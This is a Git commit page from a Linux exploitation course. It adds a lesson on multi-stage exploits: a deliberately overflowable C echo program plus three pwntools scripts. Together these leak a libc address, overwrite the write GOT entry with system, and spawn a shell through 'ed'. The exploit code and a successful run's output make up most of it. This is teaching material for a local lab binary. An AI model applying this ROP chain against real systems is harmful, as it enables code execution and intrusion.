Skip to content

Commit f70fbae

Browse files
committed
Finished section 12
1 parent 6f04036 commit f70fbae

File tree

4 files changed

+367
-0
lines changed

4 files changed

+367
-0
lines changed

lessons/12_multi_stage/lessonplan.md

Lines changed: 250 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,253 @@
11
# Multi-Stage Exploits
22

3+
In this section, we will look at crafting a more complicated exploit that relies
4+
on multiple stages. Surprisingly, the vulnerable target we are looking at is the
5+
most simple of all the ones we have seen so far. It is precisely the lack of
6+
flexibility we have with such a simple target that forces us to adopt a more
7+
sophiscated exploit strategy.
38

9+
```c
10+
#include <unistd.h>
11+
#include <stdio.h>
12+
13+
void vuln() {
14+
char buffer[16];
15+
read(0, buffer, 100);
16+
write(1, buffer, 16);
17+
}
18+
19+
int main() {
20+
vuln();
21+
}
22+
```
23+
24+
It is very simple. It simply echoes your input. It is vulnerable to a standard
25+
buffer overflow but ASLR and NX are enabled which means the only things you have
26+
to work with is `read`, `write`, and the gadgets that are present in the tiny
27+
binary.
28+
29+
```shell
30+
amon@bethany:~/sproink/linux-exploitation-course/lessons/12_multi_stage/build$ ./1_vulnerable
31+
Hello World
32+
Hello World
33+
```
34+
35+
## Crafting the Exploit Step by Step
36+
37+
First, as we always do, we need a skeleton script to give us our EIP control.
38+
39+
```python
40+
#!/usr/bin/python
41+
42+
from pwn import *
43+
44+
def main():
45+
p = process("../build/1_vulnerable")
46+
47+
payload = "A"*28 + p32(0xdeadc0de)
48+
49+
p.send(payload)
50+
51+
p.interactive()
52+
53+
if __name__ == "__main__":
54+
main()
55+
```
56+
57+
Next, we would like to try and leak a libc address. We can achieve this by
58+
creating fake stack frames that execute `write(STDOUT, write@got, 4)`. This will
59+
print 4 bytes of the write@got address to stdout which we can receive on our
60+
exploit script.
61+
62+
63+
```python
64+
#!/usr/bin/python
65+
66+
from pwn import *
67+
68+
offset___libc_start_main_ret = 0x18637
69+
offset_system = 0x0003ada0
70+
offset_dup2 = 0x000d6190
71+
offset_read = 0x000d5980
72+
offset_write = 0x000d59f0
73+
offset_str_bin_sh = 0x15b82b
74+
75+
read_plt = 0x08048300
76+
write_plt = 0x08048320
77+
write_got = 0x0804a014
78+
79+
def main():
80+
p = process("../build/1_vulnerable")
81+
82+
# Craft payload
83+
payload = "A"*28
84+
payload += p32(write_plt)
85+
payload += p32(0xdeadbeef)
86+
payload += p32(1) # STDOUT
87+
payload += p32(write_got)
88+
payload += p32(4)
89+
90+
p.send(payload)
91+
92+
# Clear the 16 bytes written on vuln end
93+
p.recv(16)
94+
95+
# Parse the leak
96+
leak = p.recv(4)
97+
write_addr = u32(leak)
98+
log.info("write_addr: 0x%x" % write_addr)
99+
100+
p.interactive()
101+
102+
if __name__ == "__main__":
103+
main()
104+
```
105+
106+
This works easily enough to get us that leak.
107+
108+
```shell
109+
ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 2_leak_system.py
110+
[+] Starting local process '../build/1_vulnerable': Done
111+
[*] write_addr: 0xf76569f0
112+
[*] Switching to interactive mode
113+
$ [*] Got EOF while reading in interactive
114+
115+
[*] Process '../build/1_vulnerable' stopped with exit code -11
116+
[*] Got EOF while sending in interactive
117+
```
118+
119+
## The Killing Blow
120+
121+
122+
Now, remember that what we are doing is creating a rop chain with these PLT
123+
stubs. However, if we just return into functions after functions, it is not
124+
going to work very well since the parameters on the stack are not cleaned up. We
125+
have to handle that somehow.
126+
127+
This is where the `pop pop ret` gadgets come in. They allow us to advance the
128+
stack and make sure our faked stack frames are coherent. We need a `pop pop pop
129+
ret` sequence because our `write` call had 3 parameters.
130+
131+
```shell
132+
ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/build$ ropper --file 1_vulnerable
133+
... snip ..
134+
0x080484e9: pop esi; pop edi; pop ebp; ret;
135+
... snip ..
136+
```
137+
138+
What should we do next then? What we want to do is overwrite a GOT entry so that
139+
we can execute system. Now, we can leverage the fact that a `read` call is
140+
basically an arbitrary write primitive. So our entire rop chain sequence would
141+
look something like this:
142+
143+
1. `write(1, write@got, 4)` - Leaks the libc address of write
144+
2. `read(0, write@got, 4)` - Read 4 bytes of input from us into the write GOT
145+
entry.
146+
3. `system(some_cmd)` - Execute a command of ours and hopefully get shell
147+
148+
Now, of course we have a possible issue. Since our ROP chain would have to
149+
include the address of the command on the first read, we have two choices:
150+
151+
1. Expend another read sequence to write "/bin/sh" somewhere in memory
152+
2. Use an alternative command (such as ed)
153+
154+
Option 1 is not feasible as it takes 20 bytes to construct a frame for read.
155+
This is a heavily cost when we only have 72 bytes to play with. So, we have to
156+
go with Option 2 which is easy enough to get.
157+
158+
```shell
159+
gdb-peda$ find ed
160+
Searching for 'ed' in: None ranges
161+
Found 393 results, display max 256 items:
162+
1_vulnerable : 0x8048243 --> 0x72006465 ('ed')
163+
1_vulnerable : 0x8049243 --> 0x72006465 ('ed')
164+
```
165+
166+
With all of the information in hand, we can write our exploit:
167+
168+
169+
```python
170+
#!/usr/bin/python
171+
172+
from pwn import *
173+
174+
offset___libc_start_main_ret = 0x18637
175+
offset_system = 0x0003ada0
176+
offset_dup2 = 0x000d6190
177+
offset_read = 0x000d5980
178+
offset_write = 0x000d59f0
179+
offset_str_bin_sh = 0x15b82b
180+
181+
read_plt = 0x08048300
182+
write_plt = 0x08048320
183+
write_got = 0x0804a014
184+
new_system_plt = write_plt
185+
186+
pppr = 0x080484e9
187+
188+
ed_str = 0x8048243
189+
190+
def main():
191+
p = process("../build/1_vulnerable")
192+
193+
# Craft payload
194+
payload = "A"*28
195+
payload += p32(write_plt) # 1. write(1, write_got, 4)
196+
payload += p32(pppr)
197+
payload += p32(1) # STDOUT
198+
payload += p32(write_got)
199+
payload += p32(4)
200+
payload += p32(read_plt) # 2. read(0, write_got, 4)
201+
payload += p32(pppr)
202+
payload += p32(0) # STDIN
203+
payload += p32(write_got)
204+
payload += p32(4)
205+
payload += p32(new_system_plt) # 3. system("ed")
206+
payload += p32(0xdeadbeef)
207+
payload += p32(ed_str)
208+
209+
p.send(payload)
210+
211+
# Clear the 16 bytes written on vuln end
212+
p.recv(16)
213+
214+
# Parse the leak
215+
leak = p.recv(4)
216+
write_addr = u32(leak)
217+
log.info("write_addr: 0x%x" % write_addr)
218+
219+
# Calculate the important addresses
220+
libc_base = write_addr - offset_write
221+
log.info("libc_base: 0x%x" % libc_base)
222+
system_addr = libc_base + offset_system
223+
log.info("system_addr: 0x%x" % system_addr)
224+
225+
# Send the stage 2
226+
p.send(p32(system_addr))
227+
228+
p.interactive()
229+
230+
if __name__ == "__main__":
231+
main()
232+
```
233+
234+
Running the exploit:
235+
236+
```shell
237+
ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 3_final.py
238+
[+] Starting local process '../build/1_vulnerable': Done
239+
[*] write_addr: 0xf760c9f0
240+
[*] libc_base: 0xf7537000
241+
[*] system_addr: 0xf7571da0
242+
[*] Switching to interactive mode
243+
$ !sh
244+
$ ls -la
245+
total 20
246+
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 2017 .
247+
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 19:08 ..
248+
-rw-rw-r-- 1 ubuntu ubuntu 212 Jan 13 18:16 1_skeleton.py
249+
-rw-rw-r-- 1 ubuntu ubuntu 776 Jan 13 18:30 2_leak_system.py
250+
-rw-rw-r-- 1 ubuntu ubuntu 1410 Jan 13 18:50 3_final.py
251+
$
252+
[*] Stopped program '../build/1_vulnerable'
253+
```
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#!/usr/bin/python
2+
3+
from pwn import *
4+
5+
def main():
6+
p = process("../build/1_vulnerable")
7+
8+
payload = "A"*28 + p32(0xdeadc0de)
9+
10+
p.send(payload)
11+
12+
p.interactive()
13+
14+
if __name__ == "__main__":
15+
main()
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
#!/usr/bin/python
2+
3+
from pwn import *
4+
5+
offset___libc_start_main_ret = 0x18637
6+
offset_system = 0x0003ada0
7+
offset_dup2 = 0x000d6190
8+
offset_read = 0x000d5980
9+
offset_write = 0x000d59f0
10+
offset_str_bin_sh = 0x15b82b
11+
12+
read_plt = 0x08048300
13+
write_plt = 0x08048320
14+
write_got = 0x0804a014
15+
16+
def main():
17+
p = process("../build/1_vulnerable")
18+
19+
# Craft payload
20+
payload = "A"*28
21+
payload += p32(write_plt)
22+
payload += p32(0xdeadbeef)
23+
payload += p32(1) # STDOUT
24+
payload += p32(write_got)
25+
payload += p32(4)
26+
27+
p.send(payload)
28+
29+
# Clear the 16 bytes written on vuln end
30+
p.recv(16)
31+
32+
# Parse the leak
33+
leak = p.recv(4)
34+
write_addr = u32(leak)
35+
log.info("write_addr: 0x%x" % write_addr)
36+
37+
p.interactive()
38+
39+
if __name__ == "__main__":
40+
main()
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
#!/usr/bin/python
2+
3+
from pwn import *
4+
5+
offset___libc_start_main_ret = 0x18637
6+
offset_system = 0x0003ada0
7+
offset_dup2 = 0x000d6190
8+
offset_read = 0x000d5980
9+
offset_write = 0x000d59f0
10+
offset_str_bin_sh = 0x15b82b
11+
12+
read_plt = 0x08048300
13+
write_plt = 0x08048320
14+
write_got = 0x0804a014
15+
new_system_plt = write_plt
16+
17+
pppr = 0x080484e9
18+
19+
ed_str = 0x8048243
20+
21+
def main():
22+
p = process("../build/1_vulnerable")
23+
24+
# Craft payload
25+
payload = "A"*28
26+
payload += p32(write_plt) # 1. write(1, write_got, 4)
27+
payload += p32(pppr)
28+
payload += p32(1) # STDOUT
29+
payload += p32(write_got)
30+
payload += p32(4)
31+
payload += p32(read_plt) # 2. read(0, write_got, 4)
32+
payload += p32(pppr)
33+
payload += p32(0) # STDIN
34+
payload += p32(write_got)
35+
payload += p32(4)
36+
payload += p32(new_system_plt) # 3. system("ed")
37+
payload += p32(0xdeadbeef)
38+
payload += p32(ed_str)
39+
40+
p.send(payload)
41+
42+
# Clear the 16 bytes written on vuln end
43+
p.recv(16)
44+
45+
# Parse the leak
46+
leak = p.recv(4)
47+
write_addr = u32(leak)
48+
log.info("write_addr: 0x%x" % write_addr)
49+
50+
# Calculate the important addresses
51+
libc_base = write_addr - offset_write
52+
log.info("libc_base: 0x%x" % libc_base)
53+
system_addr = libc_base + offset_system
54+
log.info("system_addr: 0x%x" % system_addr)
55+
56+
# Send the stage 2
57+
p.send(p32(system_addr))
58+
59+
p.interactive()
60+
61+
if __name__ == "__main__":
62+
main()

0 commit comments

Comments
 (0)